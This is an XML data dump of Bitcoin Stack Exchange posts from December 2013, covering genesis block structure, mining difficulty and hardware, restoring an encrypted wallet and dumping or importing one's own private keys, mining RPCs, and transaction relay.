  <row Id="18453" PostTypeId="2" ParentId="18451" CreationDate="2013-12-10T14:52:52.460" Score="1" Body="&lt;p&gt;I have found a couple of implementations that should help you to decipher the protKey:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=36195.msg1701229#msg1701229&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=36195.msg1701229#msg1701229&lt;/a&gt; [PHP]&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gist.github.com/ianpurton/1139867&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/ianpurton/1139867&lt;/a&gt; [JS]&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also seems that &lt;a href=&quot;http://insight.gotdns.org/~samr7/pkprotect.html&quot; rel=&quot;nofollow&quot;&gt;http://insight.gotdns.org/~samr7/pkprotect.html&lt;/a&gt; had some more info, but it is down now, maybe Google Cache o Archive.org can help here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not tested anything so don't blame me it they does not work :D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it seems that it is a format that is not widely used and there is no easy way to decrypt the private key.&lt;/p&gt;&#xA;" OwnerUserId="10574" LastActivityDate="2013-12-10T14:52:52.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18454" PostTypeId="1" CreationDate="2013-12-10T15:01:00.390" Score="4" ViewCount="3303" Body="&lt;p&gt;The question asked &lt;a href=&quot;https://bitcoin.stackexchange.com/q/9732&quot;&gt;here&lt;/a&gt; displays the genesis block in pretty good detail. I am still trying to get a breakdown of some of the elements seen here (and some others not seen here):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The Merkle Root&lt;/li&gt;&#xA;&lt;li&gt;Time&lt;/li&gt;&#xA;&lt;li&gt;Bits&lt;/li&gt;&#xA;&lt;li&gt;Nonce&lt;/li&gt;&#xA;&lt;li&gt;The Transaction Section:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Coinbase&lt;/li&gt;&#xA;&lt;li&gt;scriptSig&lt;/li&gt;&#xA;&lt;li&gt;scriptPubKey&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It is still unclear to me where all these elements come from. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Merkle Root, as I understand it, is basically a hash of many hashes (Good example &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#Merkle_Trees&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;) - to create a Merkle Root you must start by taking a double SHA-256 hash of the byte streams of the transactions in the block .What is this data (the byte streams), what does it look like, and where does it come from? I think, to understand those questions, one should better understand the data found under &quot;Example tx message&quot; &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#tx&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After studying this data, I don't understand it completely either. I am unsure as to where the TxIn, TxOut, and OutPoint come from. What do they look like for the genesis block? I saw that one fellow had a &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2025/what-is-txins-sequence&quot;&gt;similar question&lt;/a&gt; but it was never answered really (unless TxIn sequence is something totally different from just TxIn).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the coinbase is &quot;the first input of the first transaction&quot; I think knowing more about TxIn and TxOut would explain what the coinbase for the genesis block looks like also, which is another thing I don't understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain or point me to what these bits of data look like for the genesis block?&lt;/p&gt;&#xA;" OwnerUserId="10576" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2015-01-12T22:43:07.903" Title="Details on Genesis Block" Tags="|transactions|blockchain|raw-data|genesis-block|coinbase-transaction|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18455" PostTypeId="2" ParentId="18432" CreationDate="2013-12-10T15:44:32.087" Score="1" Body="&lt;p&gt;The rate of bitcoin production is set so that on average, regardless of how powerful the network is, a block should be discovered every ~10 minutes. If the network becomes more powerful due to new entrants to mining or better technology, the network will adjust (after a short lag time) by increasing the difficulty - and the same process would work in reverse if people left mining or the hash power dropped for some other reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fact that the # of bitcoins per block halves sequentially doesn't really apply as much as the difficulty targeting which would still happen if bitcoins per block never halved again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of this, we see a linear growth in number of bitcoins mined while network hashing power increases geometrically. All this means is that your 5GH/ps Jalapeno is already obsolete and by the time you get your 600GH/ps Monarch delivered in April or May 2014 it will already be nearly obsolete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;:)&lt;/p&gt;&#xA;" OwnerUserId="10263" LastActivityDate="2013-12-10T15:44:32.087" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18458" PostTypeId="2" ParentId="18443" CreationDate="2013-12-10T17:12:28.030" Score="1" Body="&lt;p&gt;It's more likely either a quirk of the difficulty calculation, or just coincidence. There's no reason, and indeed no way someone would make spikes like that, short of having massive amounts of reserve hashing power for the opportunity. There's no positive or negative of this sort of behaviour, so it's hard to believe anybody would. &lt;/p&gt;&#xA;" OwnerUserId="9790" LastActivityDate="2013-12-10T17:12:28.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18461" PostTypeId="1" CreationDate="2013-12-10T17:40:33.353" Score="12" ViewCount="4595" Body="&lt;p&gt;Is there any reference or authoritative resource, or book on Bitcoin programming?&lt;/p&gt;&#xA;&lt;p&gt;Bitcoin is dubbed &amp;quot;programmable money&amp;quot; but there is no obvious resource for how to do that aside from trudging through subsections of hack-prone forums.&lt;/p&gt;&#xA;&lt;p&gt;Altcoins many times are simply finding and replacing the word &amp;quot;bitcoin&amp;quot; in the code base and clients, so it seems even in that case their programmers have a thin understanding of various bitcoin programming paradigms.&lt;/p&gt;&#xA;&lt;p&gt;I'm sure a &amp;quot;book&amp;quot; would be outdated by the time it was published, but regardless it would be helpful to have everything in one place for a potential target audience that doesn't want to reverse engineer commit history just to see whats going on.&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="5406" LastEditDate="2020-10-14T14:07:18.583" LastActivityDate="2020-10-14T17:54:55.083" Title="Is there a reference, authoritative resource or book on Bitcoin programming?" Tags="|development|bitcoin-core-development|wallet-development|bitcoin-literature|" AnswerCount="9" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18462" PostTypeId="2" ParentId="17532" CreationDate="2013-12-10T17:41:07.753" Score="1" Body="&lt;p&gt;The problem, is there is no problem. It looks like there was two issues I had, which contributed to the error. So this is a bit of speculation really. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first was that I had built bitcoind on the Mac (8.9+) and somehow the blockchain got somehow corrupted or something caused an issue. So I fixed this by running bitcoind -reindex&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second possible issue was that mempool had either already had the transaction and couldn't/hadn't resent it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way, there is a (throw JSONRPCError(RPC_DESERIALIZATION_ERROR, &quot;TX rejected&quot;); // TODO: report validation state in rpcrawtransaction.cpp), when validating the transaction and my c++ is not good enough to help report the validation state.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if anyone else suggests how I can approach it then I would gladly!  &lt;/p&gt;&#xA;" OwnerUserId="9551" LastActivityDate="2013-12-10T17:41:07.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18464" PostTypeId="2" ParentId="17457" CreationDate="2013-12-10T17:47:46.500" Score="2" Body="&lt;p&gt;When using sendrawtransaction if the hash is generated but not propagated, then first I would assume that bitcoind retry mechanism will eventually send to the network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On build 8.99 the transaction will go through, AcceptToMemoryPool. Which will validate the tx. So unless you see error TX rejected 22, which could be anything, as the validation is not yet reported. Then it's safe to assume you just need to wait.&lt;/p&gt;&#xA;" OwnerUserId="9551" LastActivityDate="2013-12-10T17:47:46.500" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18465" PostTypeId="2" ParentId="18416" CreationDate="2013-12-10T18:45:32.680" Score="2" Body="&lt;p&gt;to maps gpus i use this script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cgminer -n option&#xA;&#xA;Timeout /t 3600&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make it a .bat file and put it in the same folder as you cgminer, then you can tell witch gpu that is 0,1,2... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but you have to turn off power saving in windows to prevent you 280x form sleep, if you don't have a dummy-plug or an screen put to that device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used this guide for all start up information's: &lt;a href=&quot;http://www.cryptobadger.com/build-your-own-litecoin-mining-rig/&quot; rel=&quot;nofollow&quot;&gt;http://www.cryptobadger.com/build-your-own-litecoin-mining-rig/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: and when you use the -d command remember to have a space before the number. &lt;/p&gt;&#xA;" OwnerUserId="10584" LastActivityDate="2013-12-10T18:45:32.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18470" PostTypeId="2" ParentId="10479" CreationDate="2013-12-10T21:37:47.620" Score="-1" Body="&lt;p&gt;The Merkle Root, as I understand it, is basically a hash of many hashes (Good example &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#Merkle_Trees&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;) - to create a Merkle Root you must start by taking a double SHA-256 hash of the byte streams of the transactions in the block. However, what this data is (the byte streams), what it looks like, and where it comes from remains a mystery to me.&lt;/p&gt;&#xA;" OwnerUserId="10576" LastEditorUserId="3089" LastEditDate="2013-12-12T15:36:46.850" LastActivityDate="2013-12-12T15:36:46.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18471" PostTypeId="1" AcceptedAnswerId="18476" CreationDate="2013-12-10T21:46:08.963" Score="1" ViewCount="4033" Body="&lt;p&gt;I need to restore a wallet created with bitcoin-qt which was encrypted.  I have the encrypted wallet.dat file only.  Do I restore this simply by replacing the current wallet.dat with my backup wallet.dat file?&lt;/p&gt;&#xA;" OwnerUserId="4823" LastActivityDate="2018-04-28T23:40:24.353" Title="Restore encrypted wallet" Tags="|bitcoin-core|backup|encryption|wallet-recovery|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18473" PostTypeId="2" ParentId="18451" CreationDate="2013-12-10T22:06:37.920" Score="2" Body="&lt;p&gt;Buried in the bitcointalk.org forums I found this answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the keyconv binary file that is included, with the protected/encrypted key as the only  argument:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;keyconv [Protected Key Here]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will spit out the unencrypted private key. It isn't documented anywhere other than this forum post:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=25804.msg2107686;topicseen#msg2107686&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=25804.msg2107686;topicseen#msg2107686&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10571" LastActivityDate="2013-12-10T22:06:37.920" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18474" PostTypeId="2" ParentId="18439" CreationDate="2013-12-10T22:27:50.430" Score="1" Body="&lt;p&gt;I think this is the right place where you can find the information &lt;a href=&quot;https://bitcointalk.org/index.php?topic=260031.0&quot; rel=&quot;nofollow&quot;&gt;bitcointalk&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10285" LastActivityDate="2013-12-10T22:27:50.430" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18475" PostTypeId="1" AcceptedAnswerId="18478" CreationDate="2013-12-10T22:38:15.867" Score="0" ViewCount="780" Body="&lt;p&gt;I just read about &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/3368&quot; rel=&quot;nofollow&quot;&gt;this update&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does a mining &lt;code&gt;RPC&lt;/code&gt; mean and stand for?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="1891" LastEditDate="2013-12-13T18:42:45.920" LastActivityDate="2014-01-12T18:46:25.077" Title="Can someone explain what is a mining RPC?" Tags="|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18476" PostTypeId="2" ParentId="18471" CreationDate="2013-12-10T22:40:10.923" Score="2" Body="&lt;p&gt;Yes.  However, you will lose any new private keys in the current wallet.dat.  Even if you didn't create any new addresses, bitcoin-qt creates change addresses if you send any money.  So, to be safe, you should dump the private keys for your current wallet.dat and the stop bitcoin-qt.  Replace the current wallet.dat with the saved wallet.dat.  Restart bitcoin-qt and then dump the private keys again.  If you have the same set, all is well.  Otherwise, you will need to import any missing private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To dump the private keys using the bitcoin-qt debug console:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;listaddressgroupings&lt;/li&gt;&#xA;&lt;li&gt;walletpassphrase your-passphrase 300&lt;/li&gt;&#xA;&lt;li&gt;dumpprivkey bitcoin-address&lt;/li&gt;&#xA;&lt;li&gt;walletlock&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Step 1 will list the bitcoin addresses in your wallet.  Steps 2 and 4 are only needed if the wallet is encrypted and unlocks your wallet for a maximum of 300 seconds.  Repeat Step 3 for each bitcoin address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To import a private key using the bitcoin-qt debug console:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;walletpassphrase your-passphrase 300&lt;/li&gt;&#xA;&lt;li&gt;importprivkey private-key &quot;key-label&quot;&lt;/li&gt;&#xA;&lt;li&gt;walletlock&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Steps 1 and 3 are only needed if the wallet is encrypted.  Repeat Step 2 for each private key you are importing.  The key-label is whatever you want to identify the key.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2013-12-10T22:40:10.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18478" PostTypeId="2" ParentId="18475" CreationDate="2013-12-10T22:46:28.780" Score="2" Body="&lt;p&gt;RPC stands for &lt;a href=&quot;https://en.wikipedia.org/wiki/Remote_procedure_call&quot; rel=&quot;nofollow&quot;&gt;Remote Procedure Call&lt;/a&gt; and it is a technology that allows you to perform actions on a machine being on another machine (or on the same machine but in a different process).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The new RPC calls from the update are calls related to Bitcoin mining. Most mining software will use these calls to get information from the bitcoind client running on the same machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, nothing to do with crypto, just an extension of the API you don't have to worry about.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-12-10T22:46:28.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18479" PostTypeId="2" ParentId="18448" CreationDate="2013-12-10T23:07:05.363" Score="3" Body="&lt;p&gt;The hard part about pre-ordering next generation hardware is to predict a logical expectation of  A) what will be the total network power (hashrate) be by the time your miner comes online which influences directly B) what will be the difficulty value at that time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you assume linear growth in the network vs exponential for example you will arrive at different conclusions. That is the real hard part. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At todays difficulty (now 908,350,862) a 2 THps miner at $1000/btc can expect to break-even in 5-6 days. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If looking backwards is any indication, the difficulty has increased by 945% in the past 90 days so if that is the same as the next 90 days and BTC values are fixed at $1000/btc you can expect to break even in 47 days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IF you think that the next 90 days will grow faster (say 1.5x as fast) as the previous 90 days then you can expect a breakeven in 75 days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if your miner comes in 4 months from now instead of 3? What if a whole lot of people are buying one so that when they all come on line simultaneously the difficulty will spike beyond your projections?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And what if the price of BTC falls again from where it is now and stays lower?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A lot of what-ifs but you must know your variables before investing in mining capital.&lt;/p&gt;&#xA;" OwnerUserId="10263" LastActivityDate="2013-12-10T23:07:05.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18480" PostTypeId="2" ParentId="18386" CreationDate="2013-12-11T00:17:27.247" Score="3" Body="&lt;p&gt;Clients only need to track the currently valid information (there is an expiry date for domains, for example) and not all applications need all of the data stored in the chain.  So, much like Bitcoin itself, application specific versions of the information stored in the blockchain will be used by most applications and they can use SCIP or distributed trust models to check the validity of information instead of storing the entire blockchain locally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For shits and giggles, I downloaded the top 1 million domains and some IP blacklists, resulting in a 4MB CSV file containing 142,202 IP &amp;lt;-&gt; domain pairs. Simple Zip compression yielded 2:1 - 3:1 compression rates while PAQ8 delivered rates &gt;4:1. A custom data-structure would likely yield even higher compression ratios.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simple extrapolation of these numbers shows that 5megs can easily handle half a million such pairings. If traffic is distributed in a Zipf-like distribution, the .bit namespace can grow to 2.5 million domains (the size the .bi*&lt;em&gt;z&lt;/em&gt;* domain space) and clients could still store the top 20% of sites which receive 80% of all traffic in a 5 meg cache. With even .INFO carrying 6 million domains, we have room to grow :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, finally, storage tends to get cheaper over time and the chain could be setup to dynamically set prices.&lt;/p&gt;&#xA;" OwnerUserId="4264" LastEditorUserId="4264" LastEditDate="2014-01-02T04:04:58.160" LastActivityDate="2014-01-02T04:04:58.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18481" PostTypeId="5" CreationDate="2013-12-11T00:25:50.400" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-12-11T00:25:50.400" LastActivityDate="2013-12-11T00:25:50.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18482" PostTypeId="4" CreationDate="2013-12-11T00:25:50.400" Score="0" Body="refers to the rate at which two currencies are exchanged one-for-another." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2013-12-21T13:15:19.927" LastActivityDate="2013-12-21T13:15:19.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18483" PostTypeId="5" CreationDate="2013-12-11T00:33:43.770" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-12-11T00:33:43.770" LastActivityDate="2013-12-11T00:33:43.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18484" PostTypeId="4" CreationDate="2013-12-11T00:33:43.770" Score="0" Body="Questions about Quarkcoin are off topic. Quarkcoin or Quark is a peer-to-peer Internet currency based on Bitcoin with an average time between blocks of 30 seconds. There is an expected money supply of 247 Million QRK, and then fixed number of Quarks per block amounting to about 1 Million per years. QRK retargets the difficulty every 20 blocks (approx. every 10 minutes)." OwnerUserId="5406" LastEditorUserId="48884" LastEditDate="2019-07-17T21:08:24.987" LastActivityDate="2019-07-17T21:08:24.987" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18485" PostTypeId="2" ParentId="13838" CreationDate="2013-12-11T00:49:30.540" Score="1" Body="&lt;p&gt;I'm a mediator and this is an interesting subject. In the conventional world it's seller beware, as the customer can either not pay at all, or charge back a credit card. In the case of Bitcoin, the situation is reversed, and payment once made is gone. I don't think that the issue is with the bias of the mediator, most are neutral, but I do think that a mediator can help to assess the intentions of the parties and a clear path to resolution. It all depends on the intentions of the parties and their willingness to correct whatever is not right about the transaction.  A good mediator can point the way forward in that discussion.&lt;/p&gt;&#xA;" OwnerUserId="10599" LastActivityDate="2013-12-11T00:49:30.540" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18486" PostTypeId="5" CreationDate="2013-12-11T00:51:55.040" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-12-11T00:51:55.040" LastActivityDate="2013-12-11T00:51:55.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18487" PostTypeId="4" CreationDate="2013-12-11T00:51:55.040" Score="0" Body="refers to mining by yourself, not organized in a mining-pool" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2013-12-13T18:42:59.813" LastActivityDate="2013-12-13T18:42:59.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18488" PostTypeId="1" CreationDate="2013-12-11T01:17:09.923" Score="1" ViewCount="2737" Body="&lt;p&gt;I have downloaded the litecoin-qt, since I read on a forum, with that I could start mining directly. &#xA;But in my screen, there is not a button for mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have downloaded the cpuminer and have placed the file 'minerd' next to the litecon-qt programm in applications. They are together in one folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure I have understood it well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there someone that could give some ligth on this matter?&#xA;Would be very much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thnx Adithya!&lt;/p&gt;&#xA;" OwnerUserId="10601" LastEditorUserId="5406" LastEditDate="2016-04-24T08:52:53.673" LastActivityDate="2016-06-23T13:28:49.970" Title="Am trying to start mining litecoin with litecoin-qt" Tags="|litecoin|mining-software|litecoin-qt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18490" PostTypeId="2" ParentId="12633" CreationDate="2013-12-11T03:57:21.503" Score="0" Body="&lt;p&gt;You need to install QT, boost, db4 and zlib development packages, on cent-os command line try this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;yum install qt-devel boost-devel db4-devel zlib-devel&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after that you can download and extract the archive of bitcoind from &#xA;&lt;a href=&quot;http://bitcoin.org/en/download&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin.org/en/download&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user10603" LastActivityDate="2013-12-11T03:57:21.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18492" PostTypeId="2" ParentId="18488" CreationDate="2013-12-11T04:45:46.103" Score="2" Body="&lt;p&gt;At some point they removed the GUI for mining from the litecoin-qt client. So you have to run minerd from the command-line or terminal.  The actual command syntax seems to be loosely documented, however. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two reasons for this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;cpu mining simply is relatively too slow and unprofitable to warrant much further development. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Nevertheless the general consensus (at least according to the wiki and other available info) is that &lt;a href=&quot;https://github.com/pooler/cpuminer&quot; rel=&quot;nofollow&quot;&gt;pooler/cpuminer&lt;/a&gt; is by far a better client in terms of speed, compatibility, usability, etc. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Also you can pick up a USB ASIC miner for ~$15 (usd) that will far surpass what a CPU can do today. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as the command syntax goes for CPUminer check out&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=55038.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=55038.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And scroll down to basic usage examples. Also may want to &lt;a href=&quot;https://litecoin.info/Mining_pool_comparison&quot; rel=&quot;nofollow&quot;&gt;register at a pool first&lt;/a&gt; and have your login details ready. &lt;/p&gt;&#xA;" OwnerUserId="6321" LastEditorUserId="6321" LastEditDate="2013-12-11T04:51:55.787" LastActivityDate="2013-12-11T04:51:55.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18493" PostTypeId="2" ParentId="18423" CreationDate="2013-12-11T05:49:36.210" Score="1" Body="&lt;p&gt;I'm inclined to believe that a successful fracturing of the network (truly partitioning it) would effectively fork the Blockchain, and create two or more separate Blockchain universes, depending upon the number of successful partitions were achieved. If it hasn't been performed already, I would expect some academic institution might try experimenting with small isolated Bitcoin networks or enclaves and slowly break the connectivity between enclaves to see what the behaviors really unfold. The point about TOR (The Onion Router) is a great one because it is likely to route around any censorship and possibly prevent the forking of the Blockchain provided there is enough network redundancy using TOR.&lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2013-12-11T05:49:36.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18494" PostTypeId="2" ParentId="5750" CreationDate="2013-12-11T06:09:03.750" Score="3" Body="&lt;p&gt;I think rules have changed. Below is the latest rules from(&lt;a href=&quot;https://bitcointalk.org/index.php?topic=15958.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=15958.0&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Due to a mass of trolling, only established posters are able to post&#xA;  in non-newbie sections. You are considered &quot;established&quot; if you have&#xA;  made one post and then waited 4 hours. This post must be substantial:&#xA;  at least several sentences.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If you have really good posts, you can post a request for preemptive&#xA;  whitelisting in the appropriate topic.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Also:&#xA;  - Newbies cannot upload their own avatars.&#xA;  - You must have made one post in order to send PMs.&#xA;  - You need 10 posts to put a link in your signature.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Note that it may take up to 10 minutes for your PM or posting&#xA;  permissions to be granted. (The system automatically checks every 10&#xA;  minutes and promotes people as appropriate.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="10610" LastActivityDate="2013-12-11T06:09:03.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18495" PostTypeId="1" AcceptedAnswerId="18528" CreationDate="2013-12-11T06:10:46.027" Score="1" ViewCount="392" Body="&lt;p&gt;as an example, I have the wallet with &lt;strong&gt;address-A&lt;/strong&gt; (with 10 BTC)&lt;/p&gt;&#xA;&lt;p&gt;If I send 1 BTC to someone (&lt;strong&gt;address-B&lt;/strong&gt;) then in transaction I see&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;address-A&lt;/strong&gt; &amp;gt; 1 BTC &amp;gt; &lt;strong&gt;address-B&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;address-A&lt;/strong&gt; &amp;gt; 1 BTC &amp;gt; &lt;strong&gt;address-C&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;after, on &lt;strong&gt;address-A&lt;/strong&gt; I have 8 BTC, but my &lt;em&gt;bitcoin-qt&lt;/em&gt; show me 9 BTC (as it must be)&lt;/p&gt;&#xA;&lt;p&gt;why it makes sends to strange &lt;strong&gt;address-C&lt;/strong&gt; ?&lt;/p&gt;&#xA;&lt;p&gt;=================&lt;/p&gt;&#xA;&lt;p&gt;Found an answer here &lt;a href=&quot;https://en.bitcoin.it/wiki/Change&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Change&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10609" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-12-13T19:13:51.967" Title="strange weird address in transaction after send bitcoin bitcoin-qt" Tags="|transactions|bitcoin-core|security|sending|address-generation|" AnswerCount="1" CommentCount="0" ClosedDate="2013-12-31T01:09:15.937" ContentLicense="CC BY-SA 3.0" />
  <row Id="18496" PostTypeId="1" AcceptedAnswerId="18529" CreationDate="2013-12-11T07:11:39.530" Score="3" ViewCount="1743" Body="&lt;p&gt;What is the protocol for relaying transactions and/or blocks in bitcoin? I realize that nodes never relay a transactions and blocks with a variety of properties (e.g., invalid transactions). This question is concerned more with the specific broadcast/relay protocol. In particular, are there any issues with broadcast loops and if so, how are they solved? Is it as simple as each node remembering which txs and blocks it has already transferred and never relaying twice? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="9987" LastActivityDate="2013-12-11T16:54:01.420" Title="How are transactions and blocks relayed?" Tags="|protocol|relay|broadcast|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
